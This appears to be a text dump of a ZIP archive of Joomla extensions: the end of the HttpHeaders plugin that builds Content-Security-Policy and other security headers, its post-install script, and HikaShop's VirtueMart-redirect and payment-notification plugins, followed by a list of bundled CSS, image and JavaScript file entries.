					$styleHashes[] = "'sha256-" . base64_encode(hash('sha256', $styleContent, true)) . "'";
				}
			}
		}

		// Replace the hashes in the csp header when set.
		$headers = $this->app->getHeaders();

		foreach ($headers as $id => $headerConfiguration)
		{
			if (strtolower($headerConfiguration['name']) === 'content-security-policy'
				|| strtolower($headerConfiguration['name']) === 'content-security-policy-report-only')
			{
				$newHeaderValue = $headerConfiguration['value'];

				if (!empty($scriptHashes))
				{
					$newHeaderValue = str_replace('{script-hashes}', implode(' ', $scriptHashes), $newHeaderValue);
				}
				else
				{
					$newHeaderValue = str_replace('{script-hashes}', '', $newHeaderValue);
				}

				if (!empty($styleHashes))
				{
					$newHeaderValue = str_replace('{style-hashes}', implode(' ', $styleHashes), $newHeaderValue);
				}
				else
				{
					$newHeaderValue = str_replace('{style-hashes}', '', $newHeaderValue);
				}

				$this->app->setHeader($headerConfiguration['name'], $newHeaderValue, true);
			}
		}
	}

	/**
	 * The `setHttpHeaders` method handle the setting of the configured HTTP Headers
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public function setHttpHeaders(): void
	{
		// Set the default header when they are enabled
		$this->setStaticHeaders();

		// Handle CSP Header configuration
		$cspEnabled = (int) $this->params->get('contentsecuritypolicy', 0);
		$cspClient  = (string) $this->params->get('contentsecuritypolicy_client', 'site');

		// Check whether CSP is enabled and enabled by the current client
		if ($cspEnabled && ($this->app->isClient($cspClient) || $cspClient === 'both'))
		{
			$this->setCspHeader();
		}

		if ($this->app->get('block_floc', 1))
		{
			$headers = $this->app->getHeaders();

			$notPresent = true;

			foreach ($headers as $header)
			{
				if (strtolower($header['name']) === 'permissions-policy')
				{
					// Append interest-cohort if the Permissions-Policy is not set
					if (strpos($header['value'], 'interest-cohort') === false)
					{
						$this->app->setHeader('Permissions-Policy', $header['value'] . ', interest-cohort=()', true);
					}

					$notPresent = false;

					break;
				}
			}

			if ($notPresent)
			{
				$this->app->setHeader('Permissions-Policy', 'interest-cohort=()');
			}
		}
	}

	/**
	 * Set the CSP header when enabled
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	private function setCspHeader(): void
	{
		$cspReadOnly = (int) $this->params->get('contentsecuritypolicy_report_only', 1);
		$cspHeader   = $cspReadOnly === 0 ? 'content-security-policy' : 'content-security-policy-report-only';

		// In custom mode we compile the header from the values configured
		$cspValues                 = $this->params->get('contentsecuritypolicy_values', []);
		$nonceEnabled              = (int) $this->params->get('nonce_enabled', 0);
		$scriptHashesEnabled       = (int) $this->params->get('script_hashes_enabled', 0);
		$strictDynamicEnabled      = (int) $this->params->get('strict_dynamic_enabled', 0);
		$styleHashesEnabled        = (int) $this->params->get('style_hashes_enabled', 0);
		$frameAncestorsSelfEnabled = (int) $this->params->get('frame_ancestors_self_enabled', 1);
		$frameAncestorsSet         = false;

		foreach ($cspValues as $cspValue)
		{
			// Handle the client settings foreach header
			if (!$this->app->isClient($cspValue->client) && $cspValue->client != 'both')
			{
				continue;
			}

			// Handle non value directives
			if (in_array($cspValue->directive, $this->noValueDirectives))
			{
				$newCspValues[] = trim($cspValue->directive);

				continue;
			}

			// We can only use this if this is a valid entry
			if (in_array($cspValue->directive, $this->validDirectives)
				&& !empty($cspValue->value))
			{
				if (in_array($cspValue->directive, $this->nonceDirectives) && $nonceEnabled)
				{
					// Append the nonce
					$cspValue->value = str_replace('{nonce}', "'nonce-" . $this->cspNonce . "'", $cspValue->value);
				}

				// Append the script hashes placeholder
				if ($scriptHashesEnabled && strpos($cspValue->directive, 'script-src') === 0)
				{
					$cspValue->value = '{script-hashes} ' . $cspValue->value;
				}

				// Append the style hashes placeholder
				if ($styleHashesEnabled && strpos($cspValue->directive, 'style-src') === 0)
				{
					$cspValue->value = '{style-hashes} ' . $cspValue->value;
				}

				if ($cspValue->directive === 'frame-ancestors')
				{
					$frameAncestorsSet = true;
				}

				// Add strict-dynamic to the script-src directive when enabled
				if ($strictDynamicEnabled
					&& $cspValue->directive === 'script-src'
					&& strpos($cspValue->value, 'strict-dynamic') === false)
				{
					$cspValue->value .= " 'strict-dynamic' ";
				}

				$newCspValues[] = trim($cspValue->directive) . ' ' . trim($cspValue->value);
			}
		}

		if ($frameAncestorsSelfEnabled && !$frameAncestorsSet)
		{
			$newCspValues[] = "frame-ancestors 'self'";
		}

		if (empty($newCspValues))
		{
			return;
		}

		$this->app->setHeader($cspHeader, trim(implode('; ', $newCspValues)));
	}

	/**
	 * Get the configured static headers.
	 *
	 * @return  array  We return the array of static headers with its values.
	 *
	 * @since   4.0.0
	 */
	private function getStaticHeaderConfiguration(): array
	{
		$staticHeaderConfiguration = [];

		// X-frame-options
		if ($this->params->get('xframeoptions', 1) === 1)
		{
			$staticHeaderConfiguration['x-frame-options#both'] = 'SAMEORIGIN';
		}

		// Referrer-policy
		$referrerPolicy = (string) $this->params->get('referrerpolicy', 'strict-origin-when-cross-origin');

		if ($referrerPolicy !== 'disabled')
		{
			$staticHeaderConfiguration['referrer-policy#both'] = $referrerPolicy;
		}

		// Cross-Origin-Opener-Policy
		$coop = (string) $this->params->get('coop', 'same-origin');

		if ($coop !== 'disabled')
		{
			$staticHeaderConfiguration['cross-origin-opener-policy#both'] = $coop;
		}

		// Generate the strict-transport-security header and make sure the site is SSL
		if ($this->params->get('hsts', 0) === 1 && Uri::getInstance()->isSsl() === true)
		{
			$hstsOptions   = [];
			$hstsOptions[] = 'max-age=' . (int) $this->params->get('hsts_maxage', 31536000);

			if ($this->params->get('hsts_subdomains', 0) === 1)
			{
				$hstsOptions[] = 'includeSubDomains';
			}

			if ($this->params->get('hsts_preload', 0) === 1)
			{
				$hstsOptions[] = 'preload';
			}

			$staticHeaderConfiguration['strict-transport-security#both'] = implode('; ', $hstsOptions);
		}

		// Generate the additional headers
		$additionalHttpHeaders = $this->params->get('additional_httpheader', []);

		foreach ($additionalHttpHeaders as $additionalHttpHeader)
		{
			// Make sure we have a key and a value
			if (empty($additionalHttpHeader->key) || empty($additionalHttpHeader->value))
			{
				continue;
			}

			// Make sure the header is a valid and supported header
			if (!in_array(strtolower($additionalHttpHeader->key), $this->supportedHttpHeaders))
			{
				continue;
			}

			// Make sure we do not add one header twice but we support to set a different header per client.
			if (isset($staticHeaderConfiguration[$additionalHttpHeader->key . '#' . $additionalHttpHeader->client])
				|| isset($staticHeaderConfiguration[$additionalHttpHeader->key . '#both']))
			{
				continue;
			}

			// Allow the custom csp headers to use the random $cspNonce in the rules
			if (in_array(strtolower($additionalHttpHeader->key), ['content-security-policy', 'content-security-policy-report-only']))
			{
				$additionalHttpHeader->value = str_replace('{nonce}', "'nonce-" . $this->cspNonce . "'", $additionalHttpHeader->value);
			}

			$staticHeaderConfiguration[$additionalHttpHeader->key . '#' . $additionalHttpHeader->client] = $additionalHttpHeader->value;
		}

		return $staticHeaderConfiguration;
	}

	/**
	 * Set the static headers when enabled
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	private function setStaticHeaders(): void
	{
		$staticHeaderConfiguration = $this->getStaticHeaderConfiguration();

		if (empty($staticHeaderConfiguration))
		{
			return;
		}

		foreach ($staticHeaderConfiguration as $headerAndClient => $value)
		{
			$headerAndClient = explode('#', $headerAndClient);
			$header = $headerAndClient[0];
			$client = isset($headerAndClient[1]) ? $headerAndClient[1] : 'both';

			if (!$this->app->isClient($client) && $client != 'both')
			{
				continue;
			}

			$this->app->setHeader($header, $value, true);
		}
	}
}
PK!XW�ss(httpheaders/postinstall/introduction.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.HttpHeaders
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;

/**
 * Checks if the plugin is enabled. If not it returns true, meaning that the
 * message concerning the HTTPHeaders Plugin should be displayed.
 *
 * @return  integer
 *
 * @since   4.0.0
 */
function httpheaders_postinstall_condition()
{
	return !Joomla\CMS\Plugin\PluginHelper::isEnabled('system', 'httpheaders');
}

/**
 * Enables the HTTPHeaders plugin
 *
 * @return  void
 *
 * @since   4.0.0
 */
function httpheaders_postinstall_action()
{
	// Enable the plugin
	$db = Factory::getDbo();

	$query = $db->getQuery(true)
		->update($db->quoteName('#__extensions'))
		->set($db->quoteName('enabled') . ' = 1')
		->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
		->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
		->where($db->quoteName('element') . ' = ' . $db->quote('httpheaders'));
	$db->setQuery($query);
	$db->execute();

	$query = $db->getQuery(true)
		->select('extension_id')
		->from($db->quoteName('#__extensions'))
		->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
		->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
		->where($db->quoteName('element') . ' = ' . $db->quote('httpheaders'));
	$db->setQuery($query);
	$extensionId = $db->loadResult();

	$url = 'index.php?option=com_plugins&task=plugin.edit&extension_id=' . $extensionId;
	Factory::getApplication()->redirect($url);
}
PK!Eد���vm_redirect/vm_redirect.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgSystemVm_redirect extends JPlugin {

	function __construct(&$subject, $config) {
		parent::__construct($subject, $config);
	}


	function onAfterRoute() {
		$app = JFactory::getApplication();

		if(version_compare(JVERSION,'3.0','>=')) {
			$option = $app->input->getVar('option');
			$vmProdId = $app->input->getInt('product_id');
			if (empty($vmProdId))
				$vmProdId = $app->input->getInt('virtuemart_product_id');
			$vmCatId = $app->input->getInt('category_id');
			if (empty($vmCatId))
				$vmCatId = $app->input->getInt('virtuemart_category_id');
			$vmOrderId = $app->input->getInt('order_id');
			if (empty($vmOrderId))
				$vmOrderId = $app->input->getInt('order_number');
		} else {
			$option = JRequest::getVar('option');
			$vmProdId = JRequest::getInt('product_id');
			if (empty($vmProdId))
				$vmProdId = JRequest::getInt('virtuemart_product_id');
			$vmCatId = JRequest::getInt('category_id');
			if (empty($vmCatId))
				$vmCatId = JRequest::getInt('virtuemart_category_id');
			$vmOrderId = JRequest::getInt('order_id');
			if (empty($vmOrderId))
				$vmOrderId = JRequest::getInt('order_number');
		}


		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			return true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			return true;

		if( $option != 'com_virtuemart' )
			return true;


		$db = JFactory::getDBO();
		if(!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;

		if(empty($vmProdId) && empty($vmCatId) && empty($vmOrderId)){
			$currentURL = hikashop_currentURL();
			if(preg_match_all('#/(virtuemart_product_id|product_id|category_id|virtuemart_category_id|order_id|order_number)/([0-9]+)#',$currentURL,$matches)){
				foreach($matches[1] as $k => $key){
					switch($key){
						case 'product_id':
						case 'virtuemart_product_id':
							$vmProdId = $matches[2][$k];
							break;
						case 'category_id':
						case 'virtuemart_category_id':
							$vmCatId = $matches[2][$k];
							break;
						case 'order_id':
						case 'order_number':
							$vmOrderId = $matches[2][$k];
							break;
					}
				}
			}

			if(empty($vmProdId) && empty($vmCatId) && empty($vmOrderId)){
				return true;
			}
		}


		$query='SHOW TABLES LIKE '.$db->Quote($db->getPrefix().substr(hikashop_table('vm_prod'),3));
		$db->setQuery($query);
		$table = $db->loadResult();
		if(empty($table))
			return true;

		$url = null;
		if( !empty($vmProdId) && $vmProdId > 0 ) {
			$query = "SELECT a.hk_id, b.product_name as 'name' FROM `#__hikashop_vm_prod` a INNER JOIN `#__hikashop_product` b ON a.hk_id = b.product_id WHERE a.vm_id = " . $vmProdId . ";";
			$baseUrl = 'product&task=show';
		} else if( !empty($vmCatId)  && $vmCatId > 0 ) {
			$id = 'vm-fallback';
			$alias = 'hikashop-menu-for-module-'.$id;
			$db->setQuery('SELECT id FROM '.hikashop_table('menu',false).' WHERE alias=\''.$alias.'\'');
			$itemId = $db->loadResult();
			if(empty($itemId)) {
				$options = new stdClass();
				$config =& hikashop_config();
				$options->hikashop_params = $config->get('default_params',null);
				$classMenu = hikashop_get('class.menus');
				$classMenu->loadParams($options);
				$options->hikashop_params['content_type'] = 'category';
				$options->hikashop_params['layout_type']='div';
				$options->hikashop_params['content_synchronize']='1';
				if($options->hikashop_params['columns']==1){
					$options->hikashop_params['columns']=3;
				}
				$classMenu->createMenu($options->hikashop_params, $id);
				$itemId = $options->hikashop_params['itemid'];
			}

			$query = "SELECT a.hk_id, b.category_name as 'name' FROM `#__hikashop_vm_cat` a INNER JOIN `#__hikashop_category` b ON a.hk_id = b.category_id WHERE a.vm_id = " . $vmCatId . ";";
			$baseUrl = 'category&task=listing&Itemid='.$itemId;
		}elseif(!empty($vmOrderId)){
			$db->setQuery('SELECT order_id FROM '.hikashop_table('order').' WHERE order_vm_id='.$vmOrderId);
			$hikaOrderId = $db->loadResult();
			if(!empty($hikaOrderId)){
				$url = hikashop_completeLink('order&task=show&cid='.$hikaOrderId, false, true);
				$app->redirect($url);
				return true;
			}
			else
			{
				$db->setQuery('SELECT order_id FROM '.hikashop_table('order').' AS h INNER JOIN `#__virtuemart_orders` AS v ON h.order_vm_id = v.virtuemart_order_id WHERE v.order_number='.$vmOrderId);
				$hikaOrderId = $db->loadResult();
				if(!empty($hikaOrderId)){
					$url = hikashop_completeLink('order&task=show&cid='.$hikaOrderId, false, true);
					$app->redirect($url);
					return true;
				}
			}
		}

		if( !empty($query) && !empty($baseUrl) ) {
			$db->setQuery($query);
			$link = $db->loadObject();

			if( $link ) {
				if(method_exists($app,'stringURLSafe')) {
					$name = $app->stringURLSafe(strip_tags($link->name));
				} else {
					$name = JFilterOutput::stringURLSafe(strip_tags($link->name));
				}
				$url = hikashop_completeLink($baseUrl.'&cid='.$link->hk_id.'&name='.$name, false, true);
			}
		}

		if( $url )
			$app->redirect($url);
	}
}
PK!�iwJ��vm_redirect/vm_redirect.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>Hikashop - VirtueMart Fallback Redirect Plugin</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Obsidev</author>
	<authorEmail>dev@obsidev.com</authorEmail>
	<authorUrl>http://www.obsidev.com</authorUrl>
	<copyright>Copyright (C) 2011 OBSIDEV SARL - All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>This plugin enables you to redirect imported data from virtuemart</description>
	<files>
		<filename plugin="vm_redirect">vm_redirect.php</filename>
	</files>
	<params/>
	<config/>
</extension>
PK!�#o,,vm_redirect/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!�#o,,hikashoppayment/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!�����#hikashoppayment/hikashoppayment.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="system" method="upgrade">
	<name>HikaShop Payment Notification plugin</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>HikaShop</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>HikaShop System Payment plugin to always authorize the payment notifications calls</description>
	<files>
		<filename plugin="hikashoppayment">hikashoppayment.php</filename>
	</files>
	<params addpath="/components/com_hikashop/params">
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
		</fields>
	</config>
</extension>
PK!��mH::#hikashoppayment/hikashoppayment.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
jimport('joomla.plugin.plugin');
class plgSystemHikashoppayment extends JPlugin {

	public function __construct(&$subject, $config) {
		parent::__construct($subject, $config);
		if(isset($this->params))
			return;

		$plugin = JPluginHelper::getPlugin('system', 'hikashoppayment');
		$this->params = new JRegistry(@$plugin->params);
	}

	public function afterInitialise() {
		return $this->onAfterInitialise();
	}

	public function afterRoute() {
		return $this->onAfterRoute();
	}

	public function onAfterInitialise() {
		$app = JFactory::getApplication();
		$admin = false;
		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			$admin = true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			$admin = true;
		if($admin)
			return;

		if(!$this->params->get('after_init', 1))
			return;

		if(@$_REQUEST['option'] == 'com_hikashop' && @$_REQUEST['ctrl'] == 'checkout' && @$_REQUEST['task'] == 'notify')
			$this->processPaymentNotification();

		if(@$_REQUEST['option'] == 'com_hikashop' && @$_REQUEST['ctrl'] == 'cron')
			$this->processCronNotification();

		return;
	}

	public function onAfterRoute() {
		$app = JFactory::getApplication();
		$admin = false;
		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			$admin = true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			$admin = true;
		if($admin)
			return;

		if($this->params->get('after_init', 1))
			return;

		if(@$_REQUEST['option'] == 'com_hikashop' && @$_REQUEST['ctrl'] == 'checkout' && @$_REQUEST['task'] == 'notify')
			$this->processPaymentNotification();

		if(@$_REQUEST['option'] == 'com_hikashop' && @$_REQUEST['ctrl'] == 'cron')
			$this->processCronNotification();

		return;
	}

	protected function processPaymentNotification() {

		if(!empty($_REQUEST['skip_system_notification']))
			return;

		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_hikashop'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php'))
			return;

		hikaInput::get()->set('hikashop_payment_notification_plugin', true);

		ob_start();
		$payment = hikaInput::get()->getCmd('notif_payment', @$_REQUEST['notif_payment']);
		$data = hikashop_import('hikashoppayment', $payment);

		global $Itemid;
		if(empty($Itemid)) {
			$urlItemid = hikaInput::get()->getInt('Itemid');
			if($urlItemid) {
				$Itemid = $urlItemid;
			}
		}

		if(!empty($data)) {
			$trans = hikashop_get('helper.translation');
			$cleaned_statuses = $trans->getStatusTrans();
			$data = $data->onPaymentNotification($cleaned_statuses);
		}
		$dbg = ob_get_clean();

		if(!empty($dbg)) {
			$config =& hikashop_config();
			jimport('joomla.filesystem.file');
			$file = $config->get('payment_log_file','');

			$file = rtrim(JPath::clean(html_entity_decode($file)), DIRECTORY_SEPARATOR . ' ');
			if(!preg_match('#^([A-Z]:)?/.*#', $file) && (!$file[0] == '/' || !file_exists($file))) {
				$file = JPath::clean(HIKASHOP_ROOT . DIRECTORY_SEPARATOR . trim($file, DIRECTORY_SEPARATOR . ' '));
			}

			if(!empty($file) && defined('FILE_APPEND')) {
				if(!file_exists(dirname($file))) {
					jimport('joomla.filesystem.folder');
					JFolder::create(dirname($file));
				}
				file_put_contents($file,$dbg,FILE_APPEND);
			}
		}

		if(is_string($data) && !empty($data))
			echo $data;
		exit;
	}

	protected function processCronNotification() {
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_hikashop'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php'))
			return;

		$config =& hikashop_config();
		if($config->get('cron') == 'no') {
			hikashop_display(JText::_('CRON_DISABLED'), 'info');
			return false;
		}
		$cronHelper = hikashop_get('helper.cron');
		if(!$cronHelper)
			return false;
		$cronHelper->report = true;
		$launched = $cronHelper->cron();
		if($launched)
			$cronHelper->report();
		exit;
	}
}
PK!�)��
css/.htaccessnu��6�$PK!�����css/adminlist.cssnu�[���PK!�ZN����css/fields/calendar.cssnu�[���PK!*)���#css/fields/calendar-rtl.cssnu�[���PK!_V�M��
�4css/modal.cssnu�[���PK!��oH���@css/system.cssnu�[���PK!T��-..�Fcss/calendar-jos.cssnu�[���PK!|�$���Ucss/jquery.Jcrop.min.cssnu�[���PK!j&哾��jcss/mootree_rtl.cssnu�[���PK!Q+�?�kcss/frontediting.cssnu�[���PK!4��l��2ncss/mootree.cssnu�[���PK!�+g_QQOpimages/no_indent.pngnu�[���PK!�|sFRR�pimages/notice-info.pngnu�[���PK!Q�Kՠ�|uimages/sort1.pngnu�[���PK!�uhh\vimages/sort_desc.pngnu�[���PK!�Y�^^wimages/notice-alert.pngnu�[���PK!���?���zimages/pdf_button.pngnu�[���PK!lh��__t|images/indent1.pngnu�[���PK!F��gg}images/sort_none.pngnu�[���PK!^p�����}images/icon-16-logout.pngnu�[���PK!��mm�images/sort_asc.pngnu�[���PK!�8�t��\�images/sort0.pngnu�[���PK!Wdt���3�images/checked_out.pngnu�[���PK!������images/edit.pngnu�[���PK!�ߤ�99�images/icon_error.gifnu�[���PK!���d�images/rating_star_blank.pngnu�[���PK!�zg�PP!R�images/mooRainbow/moor_cursor.gifnu�[���PK!2Gs%%�images/mooRainbow/blank.gifnu�[���PK!�[rCC#c�images/mooRainbow/moor_boverlay.pngnu�[���PK!�+��\\!��images/mooRainbow/moor_arrows.gifnu�[���PK!L�����!��images/mooRainbow/moor_slider.pngnu�[���PK!��.���#��images/mooRainbow/moor_woverlay.pngnu�[���PK!AW�d���images/tooltip.pngnu�[���PK!C�t2[[��images/blank.pngnu�[���PK!E�ib����images/livemarks-rtl.pngnu�[���PK!e�QYYb�images/indent.pngnu�[���PK!�x[[��images/indent4.pngnu�[���PK!x�ԙaa��images/indent3.pngnu�[���PK!��<�images/edit_unpublished.pngnu�[���PK!��n4����images/mootree.gifnu�[���PK!�����images/weblink.pngnu�[���PK!�)���images/.htaccessnu��6�$PK!�{�WWʢimages/modal/bg_w.pngnu�[���PK!VA�\\f�images/modal/bg_e.pngnu�[���PK!�-vTT�images/modal/bg_ne.pngnu�[���PK!��8��images/modal/closebox.pngnu�[���PK!W��PP�images/modal/bg_se.pngnu�[���PK!_��GG��images/modal/bg_nw.pngnu�[���PK!@iU..'�images/modal/bg_sw.pngnu�[���PK!Hg�%aa��images/modal/bg_n.pngnu�[���PK!���!!A�images/modal/spinner.gifnu�[���PK!r���``��images/modal/bg_s.pngnu�[���PK!�;�O�images/emailButton.pngnu�[���PK!s)X:PP��images/calendar.pngnu�[���PK!vK�[[(�images/arrow_rtl.pngnu�[���PK!# ����Ǻimages/printButton.pngnu�[���PK!�g�j���images/notice-download.pngnu�[���PK!ч���images/new.pngnu�[���PK!9��  U�images/mootree_loader.gifnu�[���PK!�h��__��images/indent2.pngnu�[���PK!;��_�images/rating_star.pngnu�[���PK!�x[[��images/indent5.pngnu�[���PK!�G$��V�images/livemarks.pngnu�[���PK!iA�/�images/notice-note.pngnu�[���PK!�k\kke�images/arrow.pngnu�[���PK!�)��	�.htaccessnu��6�$PK!��Ȣii��js/permissions.jsnu�[���PK!�͇M11r�js/caption-uncompressed.jsnu�[���PK!5N`$WW��js/progressbar.jsnu�[���PK!�G�44��js/highlighter.jsnu�[���PK!�/7	7	��js/switcher-uncompressed.jsnu�[���PK!5|��vv|�js/modal-fields-uncompressed.jsnu�[���PK!%nhGGA	js/associations-edit.jsnu�[���PK!nC�e�js/progressbar-uncompressed.jsnu�[���PK!O�%���<js/combobox-uncompressed.jsnu�[���PK!�	���(8js/jquery.Jcrop.min.jsnu�[���PK!;s��66Y�js/html5fallback.jsnu�[���PK!�������js/fields/calendar.jsnu�[���PK!�}�%z%z�js/fields/calendar.min.jsnu�[���PK!X��22 s
js/fields/calendar-locales/bg.jsnu�[���PK!|I�TT#�
js/fields/calendar-locales/fa-ir.jsnu�[���PK!w��jj �js/fields/calendar-locales/da.jsnu�[���PK!Znijj Vjs/fields/calendar-locales/ca.jsnu�[���PK!���� js/fields/calendar-locales/ja.jsnu�[���PK!|I�TT$�js/fields/calendar-locales/prs-af.jsnu�[���PK!k>��rr#�js/fields/calendar-locales/sr-yu.jsnu�[���PK!��Vrmm \ js/fields/calendar-locales/uk.jsnu�[���PK![*:�ll $js/fields/calendar-locales/es.jsnu�[���PK!��Hnn �&js/fields/calendar-locales/sl.jsnu�[���PK!I���ss �)js/fields/calendar-locales/bs.jsnu�[���PK!e��PP V,js/fields/calendar-locales/ka.jsnu�[���PK!���6�� �0js/fields/calendar-locales/fi.jsnu�[���PK!�=���� �3js/fields/calendar-locales/th.jsnu�[���PK!��>-}} ,8js/fields/calendar-locales/cs.jsnu�[���PK!|�|�� �:js/fields/calendar-locales/lt.jsnu�[���PK!H�zz �=js/fields/calendar-locales/de.jsnu�[���PK!칌� �@js/fields/calendar-locales/sk.jsnu�[���PK!�R�S�� �Cjs/fields/calendar-locales/eu.jsnu�[���PK!��#�vv Fjs/fields/calendar-locales/nl.jsnu�[���PK!6CE��� EIjs/fields/calendar-locales/pt.jsnu�[���PK!���FF "Ljs/fields/calendar-locales/kk.jsnu�[���PK!b/�� �Ojs/fields/calendar-locales/hu.jsnu�[���PK!�p�\ll �Rjs/fields/calendar-locales/sv.jsnu�[���PK!f�=�bb#VUjs/fields/calendar-locales/zh-TW.jsnu�[���PK!�D�^�� Xjs/fields/calendar-locales/cy.jsnu�[���PK!��6�ss �Zjs/fields/calendar-locales/sw.jsnu�[���PK!z2���#�]js/fields/calendar-locales/zh-CN.jsnu�[���PK!�Ʊ�� �`js/fields/calendar-locales/ta.jsnu�[���PK!��Z �djs/fields/calendar-locales/fr.jsnu�[���PK!��A��� �gjs/fields/calendar-locales/ar.jsnu�[���PK!�N!�44#�kjs/fields/calendar-locales/sr-rs.jsnu�[���PK!���(�� {ojs/fields/calendar-locales/el.jsnu�[���PK!R9lr<< Xsjs/fields/calendar-locales/mk.jsnu�[���PK!��d�� �vjs/fields/calendar-locales/hr.jsnu�[���PK!Q�"5�� �yjs/fields/calendar-locales/pl.jsnu�[���PK!-<��nn �|js/fields/calendar-locales/nb.jsnu�[���PK!kn�}} ^js/fields/calendar-locales/it.jsnu�[���PK!I`'�;; +�js/fields/calendar-locales/ru.jsnu�[���PK!�Sq��� ��js/fields/calendar-locales/ko.jsnu�[���PK!�%�
nn ��js/fields/calendar-locales/en.jsnu�[���PK!��� K�js/fields/calendar-locales/bn.jsnu�[���PK!~�� ��js/fields/calendar-locales/ga.jsnu�[���PK!}��nn ��js/fields/calendar-locales/af.jsnu�[���PK!��CNCN5~�js/fields/calendar-locales/date/jalali/date-helper.jsnu�[���PK!�!SA$A$9&�js/fields/calendar-locales/date/jalali/date-helper.min.jsnu�[���PK!��|�<�	js/fields/calendar-locales/date/gregorian/date-helper.min.jsnu�[���PK!���448Xjs/fields/calendar-locales/date/gregorian/date-helper.jsnu�[���PK!`�^ ���Qjs/color-field-init.jsnu�[���PK!'�/��R�R �Rjs/mootools-more-uncompressed.jsnu�[���PK!�c8����	js/color-field-init.min.jsnu�[���PK!'k���U�U�	js/mootree-uncompressed.jsnu�[���PK!�heM�
�
��	js/combobox.jsnu�[���PK!������

js/multiselect.jsnu�[���PK!�CC�
js/multiselect-uncompressed.jsnu�[���PK!��r(��e
js/keepalive-uncompressed.jsnu�[���PK! ��##!w
js/calendar-setup-uncompressed.jsnu�[���PK!���:
js/calendar-setup.jsnu�[���PK!-����!G
js/sendtestmail-uncompressed.jsnu�[���PK!^5��d9d9�M
js/punycode-uncompressed.jsnu�[���PK!��3���
js/punycode.jsnu�[���PK!u������
js/color-field-adv-init.min.jsnu�[���PK!q4x��
�
js/mootree.jsnu�[���PK!*����
js/repeatable.jsnu�[���PK!��-A}m}m��
js/core-uncompressed.jsnu�[���PK!KQ��FF�1js/polyfill.event.jsnu�[���PK!��g��<Kjs/polyfill.classlist.jsnu�[���PK!_���'�'z^js/modal.jsnu�[���PK!X�Ap4p4!D�js/polyfill.event-uncompressed.jsnu�[���PK!H�9J??�js/validate.jsnu�[���PK!sk�""
��js/core.jsnu�[���PK!$���VV��js/subform-repeatable.jsnu�[���PK!1���y�js/calendar-uncompressed.jsnu�[���PK!��hڿjs/sendtestmail.jsnu�[���PK!�����1�js/keepalive.jsnu�[���PK!U�k�
�
>�js/permissions-uncompressed.jsnu�[���PK!	���

4�js/polyfill.filter.jsnu�[���PK!�w�V�C�C��js/repeatable-uncompressed.jsnu�[���PK!_�>B��Y
js/polyfill.map.jsnu�[���PK!���{PP$�
js/associations-edit-uncompressed.jsnu�[���PK!�Lj`�	�	
<9
js/tabs.jsnu�[���PK!7� MM cC
js/mootools-core-uncompressed.jsnu�[���PK!Q �vvϐjs/calendar.jsnu�[���PK!V�A9��js/moduleorder.jsnu�[���PK!�b��F#F#,js/tabs-state-uncompressed.jsnu�[���PK!��X�~~"�3js/polyfill.filter-uncompressed.jsnu�[���PK!g��2525 �8js/html5fallback-uncompressed.jsnu�[���PK!��&�'�'njs/jquery.Jcrop.jsnu�[���PK!%-_*_*%וjs/polyfill.classlist-uncompressed.jsnu�[���PK!���H		��js/passwordstrength.jsnu�[���PK!����
��js/caption.jsnu�[���PK!�a�+ss�js/polyfill.xpath.jsnu�[���PK!�82��X?js/color-field-adv-init.jsnu�[���PK!
